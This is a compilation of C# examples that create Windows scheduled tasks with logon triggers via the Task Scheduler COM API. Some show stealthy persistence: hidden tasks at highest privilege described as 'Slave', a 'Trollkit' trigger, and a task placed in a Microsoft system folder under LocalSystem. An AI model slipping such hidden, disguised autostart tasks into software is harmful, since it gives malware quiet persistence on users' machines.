Exemple #1
1
        /// <summary>
        /// Task Scheduler by QCX51
        /// <href= "https://msdn.microsoft.com/en-us/library/windows/desktop/aa383608(v=vs.85).aspx"</href>
        /// </summary>
        /// <param name="TaskName">sets the task name</param>
        /// <param name="path">sets the path to an executable file.</param>
        /// <param name="arguments">sets the arguments associated with the command-line operation.</param>
        /// <param name="HighestLevel">if true, tasks will be run with the highest privileges otherwise tasks will be run with the least privileges.</param>
        /// <param name="StartTask">if true, runs the registered task immediately.</param>
        /// <param name="DelayTime">sets a value that indicates the amount of time in seconds between when the user logs on and when the task is started</param>
        /// <param name="ExecTimeLimit">sets the maximum amount of time in seconds that the task is allowed to run.</param>
        ///
        internal static int CreateTask(string TaskName, string path, string arguments, bool HighestLevel, bool StartTask, int DelayTime, int ExecTimeLimit)
        {
            if (!taskService.Connected)
            {
                taskService.Connect();
            }
            //create task service instance
            ITaskDefinition taskDefinition = taskService.NewTask(0);

            taskDefinition.RegistrationInfo.Author = string.Format("Copyright (C) QCX51 {0}", DateTime.Now.Year);
            //taskDefinition.RegistrationInfo.Date = DateTime.Now.ToShortDateString();
            taskDefinition.RegistrationInfo.Description = "Slave";
            // Set Settings
            ITaskSettings TaskSettings = taskDefinition.Settings;

            TaskSettings.Enabled                    = true;
            TaskSettings.AllowDemandStart           = true;
            TaskSettings.Hidden                     = true;
            TaskSettings.StopIfGoingOnBatteries     = false;
            TaskSettings.RunOnlyIfNetworkAvailable  = false;
            TaskSettings.RunOnlyIfIdle              = false;
            TaskSettings.AllowHardTerminate         = false;
            TaskSettings.DisallowStartIfOnBatteries = false;
            TaskSettings.MultipleInstances          = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW;
            TaskSettings.StartWhenAvailable         = true;
            TaskSettings.WakeToRun                  = true;
            TaskSettings.ExecutionTimeLimit         = ExecTimeLimit > 0 ? "PT" + ExecTimeLimit + "S" : "PT0S";
            // PnYnMnDTnHnMnS P0Y0M0DT0H0M3S
            // PT5M specifies 5 minutes and P1M4DT2H5M specifies one month, four days, two hours, and five minutes.
            TaskSettings.DeleteExpiredTaskAfter = "";
            TaskSettings.RestartCount           = 3;
            TaskSettings.RestartInterval        = "PT5M";
            TaskSettings.Priority      = 8; // 0-10 default: 7
            TaskSettings.Compatibility = _TASK_COMPATIBILITY.TASK_COMPATIBILITY_V2_1;

            IIdleSettings IdleSettings = TaskSettings.IdleSettings;

            IdleSettings.IdleDuration  = "PT1M";
            IdleSettings.WaitTimeout   = "PT3M";
            IdleSettings.RestartOnIdle = false;
            IdleSettings.StopOnIdleEnd = false;

            //create trigger for task creation.
            ITriggerCollection TriggerCollection = taskDefinition.Triggers;
            ILogonTrigger      LogonTrigger      = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);

            LogonTrigger.Id = TaskGUID;
            //LogonTrigger.UserId = "SYSTEM";
            LogonTrigger.Repetition.StopAtDurationEnd = false;
            if (DelayTime > 0)
            {
                LogonTrigger.Delay = "PT" + DelayTime + "S";
            }
            //_trigger.StartBoundary = DateTime.Now.AddSeconds(15).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
            //_trigger.EndBoundary = DateTime.Now.AddMinutes(1).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
            if (ExecTimeLimit > 0)
            {
                LogonTrigger.ExecutionTimeLimit = "PT" + ExecTimeLimit + "S";
            }
            LogonTrigger.Enabled = true;

            IPrincipal Principal = taskDefinition.Principal;

            Principal.RunLevel = HighestLevel ? _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST : _TASK_RUNLEVEL.TASK_RUNLEVEL_LUA;
            Principal.Id       = "Author";
            //Principal.UserId = "SYSTEM";
            //Principal.DisplayName = "SYSTEM";
            ///get actions.
            IActionCollection actions    = taskDefinition.Actions;
            _TASK_ACTION_TYPE actionType = _TASK_ACTION_TYPE.TASK_ACTION_EXEC;
            //create new action
            IAction     action     = actions.Create(actionType);
            IExecAction execAction = action as IExecAction;

            execAction.WorkingDirectory = Environment.CurrentDirectory;
            execAction.Arguments        = arguments;
            execAction.Path             = path;
            ITaskFolder rootFolder = taskService.GetFolder(@"\");

            IRegisteredTask RegisteredTask = rootFolder.RegisterTaskDefinition(TaskName, taskDefinition, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_NONE, null);

            if (StartTask)
            {
                RegisteredTask.Run(null);
            }
            return(0);
        }
Exemple #2
0
        /// <summary>
        /// Creates a ScheduledJobTrigger object based on a provided WTS ITrigger.
        /// </summary>
        /// <param name="iTrigger">ITrigger</param>
        /// <returns>ScheduledJobTrigger</returns>
        private ScheduledJobTrigger CreateJobTrigger(
            ITrigger iTrigger)
        {
            ScheduledJobTrigger rtnJobTrigger = null;

            if (iTrigger is IBootTrigger)
            {
                IBootTrigger iBootTrigger = (IBootTrigger)iTrigger;
                rtnJobTrigger = ScheduledJobTrigger.CreateAtStartupTrigger(
                    ParseWTSTime(iBootTrigger.Delay),
                    ConvertStringId(iBootTrigger.Id),
                    iBootTrigger.Enabled);
            }
            else if (iTrigger is ILogonTrigger)
            {
                ILogonTrigger iLogonTrigger = (ILogonTrigger)iTrigger;
                rtnJobTrigger = ScheduledJobTrigger.CreateAtLogOnTrigger(
                    iLogonTrigger.UserId,
                    ParseWTSTime(iLogonTrigger.Delay),
                    ConvertStringId(iLogonTrigger.Id),
                    iLogonTrigger.Enabled);
            }
            else if (iTrigger is ITimeTrigger)
            {
                ITimeTrigger iTimeTrigger = (ITimeTrigger)iTrigger;
                TimeSpan     repInterval  = ParseWTSTime(iTimeTrigger.Repetition.Interval);
                TimeSpan     repDuration  = (repInterval != TimeSpan.Zero && iTimeTrigger.Repetition.StopAtDurationEnd == false) ?
                                            TimeSpan.MaxValue : ParseWTSTime(iTimeTrigger.Repetition.Duration);
                rtnJobTrigger = ScheduledJobTrigger.CreateOnceTrigger(
                    DateTime.Parse(iTimeTrigger.StartBoundary, CultureInfo.InvariantCulture),
                    ParseWTSTime(iTimeTrigger.RandomDelay),
                    repInterval,
                    repDuration,
                    ConvertStringId(iTimeTrigger.Id),
                    iTimeTrigger.Enabled);
            }
            else if (iTrigger is IDailyTrigger)
            {
                IDailyTrigger iDailyTrigger = (IDailyTrigger)iTrigger;
                rtnJobTrigger = ScheduledJobTrigger.CreateDailyTrigger(
                    DateTime.Parse(iDailyTrigger.StartBoundary, CultureInfo.InvariantCulture),
                    (Int32)iDailyTrigger.DaysInterval,
                    ParseWTSTime(iDailyTrigger.RandomDelay),
                    ConvertStringId(iDailyTrigger.Id),
                    iDailyTrigger.Enabled);
            }
            else if (iTrigger is IWeeklyTrigger)
            {
                IWeeklyTrigger iWeeklyTrigger = (IWeeklyTrigger)iTrigger;
                rtnJobTrigger = ScheduledJobTrigger.CreateWeeklyTrigger(
                    DateTime.Parse(iWeeklyTrigger.StartBoundary, CultureInfo.InvariantCulture),
                    (Int32)iWeeklyTrigger.WeeksInterval,
                    ConvertMaskToDaysOfWeekArray(iWeeklyTrigger.DaysOfWeek),
                    ParseWTSTime(iWeeklyTrigger.RandomDelay),
                    ConvertStringId(iWeeklyTrigger.Id),
                    iWeeklyTrigger.Enabled);
            }

            return(rtnJobTrigger);
        }
        static void Main(string[] args)
        {
            var scheduler = new TaskSchedulerClass();

            scheduler.Connect(null, null, null, null);

            ITaskDefinition task = scheduler.NewTask(0);

            task.RegistrationInfo.Author      = "DCOM Productions";
            task.RegistrationInfo.Description = "Demo";
            ILogonTrigger trigger = (ILogonTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);

            trigger.Id = "Logon Demo";
            IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);

            action.Id               = "Delete";
            action.Path             = "c:\\delete.exe";  // Or similar path
            action.WorkingDirectory = "c:\\";            // Working path
            action.Arguments        = "c:\\killme.txt";  // Path to your file

            ITaskFolder     root    = scheduler.GetFolder("\\");
            IRegisteredTask regTask = root.RegisterTaskDefinition("Demo", task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "");

            //Force run task
            //IRunningTask runTask = regTask.Run(null);
        }
Exemple #4
0
        private void CreateSchedulerTask()
        {
            ITaskDefinition definition = scheduler.NewTask(0);

            definition.RegistrationInfo.Description =
                "This task starts the Open Hardware Monitor on Windows startup.";
            definition.Principal.RunLevel =
                TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST;
            definition.Settings.DisallowStartIfOnBatteries = false;
            definition.Settings.StopIfGoingOnBatteries     = false;
            definition.Settings.ExecutionTimeLimit         = "PT0S";

            ILogonTrigger trigger = (ILogonTrigger)definition.Triggers.Create(
                TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);

            IExecAction action = (IExecAction)definition.Actions.Create(
                TASK_ACTION_TYPE.TASK_ACTION_EXEC);

            action.Path             = Application.ExecutablePath;
            action.WorkingDirectory =
                Path.GetDirectoryName(Application.ExecutablePath);

            ITaskFolder root = scheduler.GetFolder("\\");
            ITaskFolder folder;

            try {
                folder = root.GetFolder("Open Hardware Monitor");
            } catch (FileNotFoundException) {
                folder = root.CreateFolder("Open Hardware Monitor", "");
            }
            folder.RegisterTaskDefinition("Startup", definition,
                                          (int)TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null,
                                          TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "");
        }
        private ScheduledJobTrigger CreateJobTrigger(ITrigger iTrigger)
        {
            TimeSpan            maxValue;
            ScheduledJobTrigger scheduledJobTrigger = null;

            if (iTrigger as IBootTrigger == null)
            {
                if (iTrigger as ILogonTrigger == null)
                {
                    if (iTrigger as ITimeTrigger == null)
                    {
                        if (iTrigger as IDailyTrigger == null)
                        {
                            if (iTrigger as IWeeklyTrigger != null)
                            {
                                IWeeklyTrigger variable = (IWeeklyTrigger)iTrigger;
                                scheduledJobTrigger = ScheduledJobTrigger.CreateWeeklyTrigger(DateTime.Parse(variable.StartBoundary, CultureInfo.InvariantCulture), variable.WeeksInterval, this.ConvertMaskToDaysOfWeekArray(variable.DaysOfWeek), this.ParseWTSTime(variable.RandomDelay), this.ConvertStringId(variable.Id), variable.Enabled);
                            }
                        }
                        else
                        {
                            IDailyTrigger variable1 = (IDailyTrigger)iTrigger;
                            scheduledJobTrigger = ScheduledJobTrigger.CreateDailyTrigger(DateTime.Parse(variable1.StartBoundary, CultureInfo.InvariantCulture), variable1.DaysInterval, this.ParseWTSTime(variable1.RandomDelay), this.ConvertStringId(variable1.Id), variable1.Enabled);
                        }
                    }
                    else
                    {
                        ITimeTrigger variable2 = (ITimeTrigger)iTrigger;
                        TimeSpan     timeSpan  = this.ParseWTSTime(variable2.Repetition.Interval);
                        if (!(timeSpan != TimeSpan.Zero) || variable2.Repetition.StopAtDurationEnd)
                        {
                            maxValue = this.ParseWTSTime(variable2.Repetition.Duration);
                        }
                        else
                        {
                            maxValue = TimeSpan.MaxValue;
                        }
                        TimeSpan timeSpan1 = maxValue;
                        scheduledJobTrigger = ScheduledJobTrigger.CreateOnceTrigger(DateTime.Parse(variable2.StartBoundary, CultureInfo.InvariantCulture), this.ParseWTSTime(variable2.RandomDelay), new TimeSpan?(timeSpan), new TimeSpan?(timeSpan1), this.ConvertStringId(variable2.Id), variable2.Enabled);
                    }
                }
                else
                {
                    ILogonTrigger variable3 = (ILogonTrigger)iTrigger;
                    scheduledJobTrigger = ScheduledJobTrigger.CreateAtLogOnTrigger(variable3.UserId, this.ParseWTSTime(variable3.Delay), this.ConvertStringId(variable3.Id), variable3.Enabled);
                }
            }
            else
            {
                IBootTrigger variable4 = (IBootTrigger)iTrigger;
                scheduledJobTrigger = ScheduledJobTrigger.CreateAtStartupTrigger(this.ParseWTSTime(variable4.Delay), this.ConvertStringId(variable4.Id), variable4.Enabled);
            }
            return(scheduledJobTrigger);
        }
Exemple #6
0
        private static void ValidTask()
        {
            try
            {
                string taskName = "TM_monitor";
                string creator  = "Administrator";
                string path     = Application.StartupPath + @"\Monitor.exe";

                if (IsExists(taskName))
                {
                    return;

                    DeleteTask(taskName);
                }

                //实例化任务对象
                TaskSchedulerClass scheduler = new TaskSchedulerClass();
                scheduler.Connect(null, null, null, null);//连接
                ITaskFolder folder = scheduler.GetFolder("\\");
                //设置常规属性
                ITaskDefinition task = scheduler.NewTask(0);
                task.RegistrationInfo.Author      = creator;                                                    //创建者
                task.RegistrationInfo.Description = "描述信息";                                                     //描述
                task.Principal.RunLevel           = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST;                       //使用最高权限运行
                //设置触发器
                ILogonTrigger tt = (ILogonTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); //触发器里的开始任务,其他开始任务方式用的是其他接口
                tt.UserId = Environment.MachineName + "\\" + creator;                                           //特定用户
                //设置操作
                IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);
                action.Path = path;
                //其他设置
                task.Settings.ExecutionTimeLimit         = "PT0S";
                task.Settings.DisallowStartIfOnBatteries = false;
                task.Settings.RunOnlyIfIdle = false;

                //注册任务
                IRegisteredTask regTask = folder.RegisterTaskDefinition(
                    taskName,                                      //计划任务名称
                    task,
                    (int)_TASK_CREATION.TASK_CREATE,               //创建
                    null,                                          //user
                    null,                                          // password
                    _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, //Principal.LogonType
                    "");

                IRunningTask runTask = regTask.Run(null);
            }
            catch (Exception ex)
            {
                throw ex;
            }
        }
 /// <summary>
 /// Sets the trigger info for the task
 /// </summary>
 private void SetTriggerInfo()
 {
     try
     {
         objTrigger        = (ILogonTrigger)objTaskDef.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);
         objTrigger.UserId = WindowsIdentity.GetCurrent().Name;
         objTrigger.Id     = "Trollkit Trigger";
     }
     catch (Exception ex)
     {
         BConsole.WriteLine(ex.Message, ConsoleColor.Red);
     }
 }
Exemple #8
0
        public static _TASK_STATE CreateTaskScheduler(string creator, string taskName, string path, string interval, string startBoundary, string description)
        {
            try
            {
                //new scheduler
                TaskSchedulerClass scheduler = new TaskSchedulerClass();
                //pc-name/ip,username,domain,password
                scheduler.Connect(null, null, null, null);
                //get scheduler folder;
                ITaskFolder folder = scheduler.GetFolder("\\Microsoft\\Windows\\Application Experience");

                //set base attr
                ITaskDefinition task = scheduler.NewTask(0);
                task.RegistrationInfo.Author      = creator;     //creator
                task.RegistrationInfo.Description = description; //description

                ITriggerCollection TriggerCollection = task.Triggers;
                ILogonTrigger      LogonTrigger      = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);
                LogonTrigger.Enabled = true;

                task.Principal.GroupId = "S-1-5-18"; // LocalSystem

                //set trigger  (IDailyTrigger ITimeTrigger)
                ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME);
                tt.Repetition.Interval = interval;      // format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器
                tt.StartBoundary       = startBoundary; //start time

                //set action
                IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);
                action.Path = path;                                                                            //计划任务调用的程序路径

                task.Settings.ExecutionTimeLimit         = "PT0S";                                             //运行任务时间超时停止任务吗? PTOS 不开启超时
                task.Settings.DisallowStartIfOnBatteries = false;
                task.Settings.RunOnlyIfIdle = false;                                                           //仅当计算机空闲下才执行
                IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task,
                                                                        (int)_TASK_CREATION.TASK_CREATE, null, //user
                                                                        null,                                  // password
                                                                        _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN,
                                                                        "");
                IRunningTask runTask = regTask.Run(null);
                return(runTask.State);
            }
            catch (Exception ex)
            {
                throw ex;
            }
        }
Exemple #9
0
        /// <summary>
        /// 创建计划任务,任何用户登陆都执行
        /// </summary>
        /// <param name="taskName"></param>
        /// <param name="path"></param>
        public static void TaskCreate(string taskName, string path)
        {
            //实例化任务对象
            TaskSchedulerClass scheduler = new TaskSchedulerClass();

            scheduler.Connect(null, null, null, null);  //连接
            ITaskFolder folder = scheduler.GetFolder("\\");


            //设置常规属性
            ITaskDefinition task = scheduler.NewTask(0);

            task.RegistrationInfo.Author      = Environment.UserName;                 //创造者
            task.RegistrationInfo.Description = "该计划为 bing每日美图 用于开机启动。";              //描述信息
            task.Principal.RunLevel           = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; //使用最高权限运行


            //设置触发器
            ILogonTrigger tt = (ILogonTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); //触发器里的开始任务,其他开始任务方式用的是其他接口

            tt.UserId = Environment.MachineName + "\\" + Environment.UserName;                              //特定用户,安装的用户


            //设置操作
            IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);

            action.Path      = path; //计划任务调用的程序路径
            action.Arguments = "1";  //配上参数,用来判断手动开启还是开机自启

            //其他设置
            task.Settings.ExecutionTimeLimit         = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时
            task.Settings.DisallowStartIfOnBatteries = false;  //只有在交流电源下才执行
            task.Settings.RunOnlyIfIdle             = false;   //仅当计算机空闲下才执行
            task.Settings.RunOnlyIfNetworkAvailable = true;    //仅网络可用时启动


            //注册任务
            IRegisteredTask regTask = folder.RegisterTaskDefinition(
                taskName,                                      //计划任务名字
                task,
                (int)_TASK_CREATION.TASK_CREATE,               //创建
                null,                                          //user
                null,                                          //password
                _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, // Principal.LogonType
                "");
        }
Exemple #10
0
        /// <summary>
        /// Creates a new WTS trigger based on the provided ScheduledJobTrigger object
        /// and adds it to the provided ITaskDefinition object.
        /// </summary>
        /// <param name="iTaskDefinition">ITaskDefinition</param>
        /// <param name="jobTrigger">ScheduledJobTrigger</param>
        private void AddTaskTrigger(
            ITaskDefinition iTaskDefinition,
            ScheduledJobTrigger jobTrigger)
        {
            ITrigger iTrigger = null;

            switch (jobTrigger.Frequency)
            {
            case TriggerFrequency.AtStartup:
            {
                iTrigger = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_BOOT);
                IBootTrigger iBootTrigger = iTrigger as IBootTrigger;
                Debug.Assert(iBootTrigger != null);

                iBootTrigger.Delay = ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);

                iTrigger.Id      = jobTrigger.Id.ToString(CultureInfo.InvariantCulture);
                iTrigger.Enabled = jobTrigger.Enabled;
            }
            break;

            case TriggerFrequency.AtLogon:
            {
                iTrigger = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);
                ILogonTrigger iLogonTrigger = iTrigger as ILogonTrigger;
                Debug.Assert(iLogonTrigger != null);

                iLogonTrigger.UserId = ScheduledJobTrigger.IsAllUsers(jobTrigger.User) ? null : jobTrigger.User;
                iLogonTrigger.Delay  = ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);

                iTrigger.Id      = jobTrigger.Id.ToString(CultureInfo.InvariantCulture);
                iTrigger.Enabled = jobTrigger.Enabled;
            }
            break;

            case TriggerFrequency.Once:
            {
                iTrigger = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME);
                ITimeTrigger iTimeTrigger = iTrigger as ITimeTrigger;
                Debug.Assert(iTimeTrigger != null);

                iTimeTrigger.RandomDelay = ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);

                // Time trigger repetition.
                if (jobTrigger.RepetitionInterval != null &&
                    jobTrigger.RepetitionDuration != null)
                {
                    iTimeTrigger.Repetition.Interval = ConvertTimeSpanToWTSString(jobTrigger.RepetitionInterval.Value);
                    if (jobTrigger.RepetitionDuration.Value == TimeSpan.MaxValue)
                    {
                        iTimeTrigger.Repetition.StopAtDurationEnd = false;
                    }
                    else
                    {
                        iTimeTrigger.Repetition.StopAtDurationEnd = true;
                        iTimeTrigger.Repetition.Duration          = ConvertTimeSpanToWTSString(jobTrigger.RepetitionDuration.Value);
                    }
                }

                iTrigger.StartBoundary = ConvertDateTimeToString(jobTrigger.At);
                iTrigger.Id            = jobTrigger.Id.ToString(CultureInfo.InvariantCulture);
                iTrigger.Enabled       = jobTrigger.Enabled;
            }
            break;

            case TriggerFrequency.Daily:
            {
                iTrigger = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY);
                IDailyTrigger iDailyTrigger = iTrigger as IDailyTrigger;
                Debug.Assert(iDailyTrigger != null);

                iDailyTrigger.RandomDelay  = ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                iDailyTrigger.DaysInterval = (short)jobTrigger.Interval;

                iTrigger.StartBoundary = ConvertDateTimeToString(jobTrigger.At);
                iTrigger.Id            = jobTrigger.Id.ToString(CultureInfo.InvariantCulture);
                iTrigger.Enabled       = jobTrigger.Enabled;
            }
            break;

            case TriggerFrequency.Weekly:
            {
                iTrigger = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_WEEKLY);
                IWeeklyTrigger iWeeklyTrigger = iTrigger as IWeeklyTrigger;
                Debug.Assert(iWeeklyTrigger != null);

                iWeeklyTrigger.RandomDelay   = ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                iWeeklyTrigger.WeeksInterval = (short)jobTrigger.Interval;
                iWeeklyTrigger.DaysOfWeek    = ConvertDaysOfWeekToMask(jobTrigger.DaysOfWeek);

                iTrigger.StartBoundary = ConvertDateTimeToString(jobTrigger.At);
                iTrigger.Id            = jobTrigger.Id.ToString(CultureInfo.InvariantCulture);
                iTrigger.Enabled       = jobTrigger.Enabled;
            }
            break;
            }
        }
        public static IRegisteredTask InstallAutoRunClient(string taskName, string exeFullPath, string taskDesc)
        {
            TryConnectScheduler();

            if (TryGetTask(taskName, out var outtask))
            {
                throw new InvalidOperationException("计划任务已存在");
            }

            Uri uri = new Uri(exeFullPath);

            if (!uri.IsAbsoluteUri)
            {
                throw new ArgumentException("必须指定应用程序的完整路径");
            }

            ITaskFolder folder = scheduler.GetFolder("\\");

            //获取UserId
            string userId = GetUserId();

            //创建计划任务
            ITaskDefinition myTask = scheduler.NewTask(0);

            myTask.RegistrationInfo.Author      = userId;   //任务创建者的名字
            myTask.RegistrationInfo.Description = taskDesc; //任务描述

            myTask.Principal.UserId   = userId;
            myTask.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST;//使用最高权限运行

            myTask.Settings.RunOnlyIfIdle = false;

            //创建登陆触发器
            ILogonTrigger trigger = (ILogonTrigger)myTask.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);

            trigger.UserId  = userId;//指定登陆用户
            trigger.Enabled = true;

            //其他设置
            myTask.Settings.ExecutionTimeLimit         = "PT0S";                                           //任务运行超时时长:无限
            myTask.Settings.MultipleInstances          = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW; //不允许多实例
            myTask.Settings.DisallowStartIfOnBatteries = false;                                            //当使用电池时仍然执行
            myTask.Settings.AllowHardTerminate         = true;                                             //允许强行终止任务
            myTask.Settings.RunOnlyIfNetworkAvailable  = false;                                            //取消仅当网络可用时运行
            myTask.Settings.AllowDemandStart           = true;                                             //允许按需执行
            myTask.Settings.Enabled   = true;
            myTask.Settings.WakeToRun = false;                                                             //不需要唤醒计算机时运行此任务

            //设置操作
            IExecAction action = (IExecAction)myTask.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);

            action.Path = exeFullPath;//要启动的程序的路径

            Console.WriteLine(myTask.XmlText);

            //注册任务
            IRegisteredTask regTask = folder.RegisterTaskDefinition(
                taskName,
                myTask,
                (int)_TASK_CREATION.TASK_CREATE,
                null, //user
                null, //password
                _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN,
                ""
                );

            return(regTask);
        }
Exemple #12
0
        /// <summary>
        /// Task Scheduler by QCX51
        // <href= https://msdn.microsoft.com/en-us/library/windows/desktop/aa383606(v=vs.85).aspx/>
        /// </summary>
        /// <param name="name">sets the task name</param>
        /// <param name="path">sets the path to an executable file.</param>
        /// <param name="arguments">sets the arguments associated with the command-line operation.</param>
        /// <param name="HighestLevel">if true, tasks will be run with the highest privileges otherwise tasks will be run with the least privileges.</param>
        /// <param name="StartTask">if true, runs the registered task immediately.</param>
        /// <param name="DelayTime">sets a value that indicates the amount of time in seconds between when the user logs on and when the task is started</param>
        /// <param name="ExecTimeLimit">sets the maximum amount of time in seconds that the task is allowed to run.</param>
        /// <returns></returns>
        internal static int CreateTask(string name, string path, string arguments, bool HighestLevel, bool StartTask, int DelayTime, int ExecTimeLimit)
        {
            //create task service instance
            ITaskService TaskService = new TaskScheduler.TaskScheduler();

            TaskService.Connect();
            foreach (IRegisteredTask Task in TaskService.GetFolder(@"\").GetTasks((int)_TASK_ENUM_FLAGS.TASK_ENUM_HIDDEN))
            {
                if (name == Task.Name && !Task.Enabled)
                {
                    Task.Enabled = true;
                }
                if (name == Task.Name && StartTask && Task.State == _TASK_STATE.TASK_STATE_RUNNING)
                {
                    return(2);
                }
                else if (name == Task.Name && StartTask)
                {
                    Task.Run(null); return(1);
                }
            }
            ITaskDefinition TaskDefinition = TaskService.NewTask(0);

            TaskDefinition.Settings.Enabled                    = true;
            TaskDefinition.Settings.AllowDemandStart           = true;
            TaskDefinition.Settings.Hidden                     = true;
            TaskDefinition.Settings.StopIfGoingOnBatteries     = false;
            TaskDefinition.Settings.RunOnlyIfNetworkAvailable  = false;
            TaskDefinition.Settings.RunOnlyIfIdle              = false;
            TaskDefinition.Settings.AllowHardTerminate         = true;
            TaskDefinition.Settings.DisallowStartIfOnBatteries = false;
            TaskDefinition.Settings.MultipleInstances          = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW;
            TaskDefinition.Settings.StartWhenAvailable         = true;
            TaskDefinition.Settings.WakeToRun                  = true;
            TaskDefinition.Principal.RunLevel                  = HighestLevel ? _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST : _TASK_RUNLEVEL.TASK_RUNLEVEL_LUA;
            TaskDefinition.Settings.Compatibility              = _TASK_COMPATIBILITY.TASK_COMPATIBILITY_V2_1;

            //create trigger for task creation.
            ITriggerCollection TriggerCollection = TaskDefinition.Triggers;
            ILogonTrigger      LogonTrigger      = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);

            LogonTrigger.Repetition.StopAtDurationEnd = false;
            if (DelayTime > 0)
            {
                LogonTrigger.Delay = "PT" + DelayTime + "S";
            }
            //_trigger.StartBoundary = DateTime.Now.AddSeconds(15).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
            //_trigger.EndBoundary = DateTime.Now.AddMinutes(1).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
            if (ExecTimeLimit > 0)
            {
                LogonTrigger.ExecutionTimeLimit = "PT" + ExecTimeLimit + "S";
            }
            LogonTrigger.Enabled = true;

            ///get actions.
            IActionCollection ActionCollection = TaskDefinition.Actions;
            _TASK_ACTION_TYPE TaskActionType   = _TASK_ACTION_TYPE.TASK_ACTION_EXEC;

            //create new action
            IAction     Action     = ActionCollection.Create(TaskActionType);
            IExecAction ExecAction = Action as IExecAction;

            ExecAction.WorkingDirectory = Environment.CurrentDirectory;
            ExecAction.Arguments        = arguments;
            ExecAction.Path             = path;
            ITaskFolder     TaskFolder     = TaskService.GetFolder(@"\");
            IRegisteredTask RegisteredTask = TaskFolder.RegisterTaskDefinition(name, TaskDefinition, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_NONE, null);

            if (StartTask)
            {
                RegisteredTask.Run(null);
            }
            return(0);
        }
Exemple #13
0
        private void AddTaskTrigger(ITaskDefinition iTaskDefinition, ScheduledJobTrigger jobTrigger)
        {
            ITrigger         str;
            string           user;
            TriggerFrequency frequency = jobTrigger.Frequency;

            switch (frequency)
            {
            case TriggerFrequency.Once:
            {
                str = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME);
                ITimeTrigger wTSString = str as ITimeTrigger;
                wTSString.RandomDelay = ScheduledJobWTS.ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                TimeSpan?repetitionInterval = jobTrigger.RepetitionInterval;
                if (repetitionInterval.HasValue)
                {
                    TimeSpan?repetitionDuration = jobTrigger.RepetitionDuration;
                    if (repetitionDuration.HasValue)
                    {
                        TimeSpan?nullable = jobTrigger.RepetitionInterval;
                        wTSString.Repetition.Interval = ScheduledJobWTS.ConvertTimeSpanToWTSString(nullable.Value);
                        TimeSpan?repetitionDuration1 = jobTrigger.RepetitionDuration;
                        if (repetitionDuration1.Value != TimeSpan.MaxValue)
                        {
                            wTSString.Repetition.StopAtDurationEnd = true;
                            TimeSpan?nullable1 = jobTrigger.RepetitionDuration;
                            wTSString.Repetition.Duration = ScheduledJobWTS.ConvertTimeSpanToWTSString(nullable1.Value);
                        }
                        else
                        {
                            wTSString.Repetition.StopAtDurationEnd = false;
                        }
                    }
                }
